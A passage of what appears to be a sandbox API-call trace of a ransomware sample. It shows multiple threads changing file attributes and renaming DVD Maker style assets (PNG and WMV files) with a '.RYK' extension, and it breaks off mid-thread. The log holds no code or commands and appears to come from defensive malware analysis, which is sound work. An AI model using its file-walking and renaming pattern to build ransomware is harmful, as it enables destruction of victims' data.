	[0186.690] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1001
	os_tid = 0x1564

	[0186.692] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0186.692] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1002
	os_tid = 0x1568

	[0186.694] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0186.694] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.695] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1003
	os_tid = 0x156c

	[0186.696] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0186.697] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.697] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1004
	os_tid = 0x1570

	[0186.699] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0186.699] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1005
	os_tid = 0x1574

	[0186.701] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0186.701] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1006
	os_tid = 0x1578

	[0186.704] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png", dwFileAttributes=0x80) returned 0
	[0186.704] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1008
	os_tid = 0x158c

	[0186.991] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png", dwFileAttributes=0x80) returned 0
	[0186.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1009
	os_tid = 0x1590

	[0186.994] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0186.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.995] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1010
	os_tid = 0x1594

	[0186.998] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", dwFileAttributes=0x80) returned 0
	[0186.998] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1011
	os_tid = 0x1598

	[0187.000] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0187.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1012
	os_tid = 0x159c

	[0187.273] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0187.532] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1013
	os_tid = 0x15a0

	[0187.274] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0187.536] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1014
	os_tid = 0x15a4

	[0187.276] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", dwFileAttributes=0x80) returned 0
	[0187.538] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1015
	os_tid = 0x15a8

	[0187.277] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", dwFileAttributes=0x80) returned 0
	[0187.541] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1016
	os_tid = 0x15ac

	[0187.279] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", dwFileAttributes=0x80) returned 0
	[0187.543] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1017
	os_tid = 0x15b0

	[0187.280] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", dwFileAttributes=0x80) returned 0
	[0187.545] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.546] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1018
	os_tid = 0x15b4

	[0187.282] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png", dwFileAttributes=0x80) returned 0
	[0187.548] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1019
	os_tid = 0x15b8

	[0187.283] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv", dwFileAttributes=0x80) returned 0
	[0187.550] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1020
	os_tid = 0x15bc

	[0187.285] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png", dwFileAttributes=0x80) returned 0
	[0187.552] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.553] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1021
	os_tid = 0x15c0

	[0187.286] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv", dwFileAttributes=0x80) returned 0
	[0187.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.555] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1022
	os_tid = 0x15c4

	[0187.287] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0187.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.557] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1023
	os_tid = 0x15c8

	[0187.559] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png", dwFileAttributes=0x80) returned 0
	[0187.559] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0187.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0187.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1024
	os_tid = 0x15d0

	[0187.562] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png", dwFileAttributes=0x80) returned 0
	[0187.795] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0188.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1025
	os_tid = 0x15d4

	[0187.563] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0187.796] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0188.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
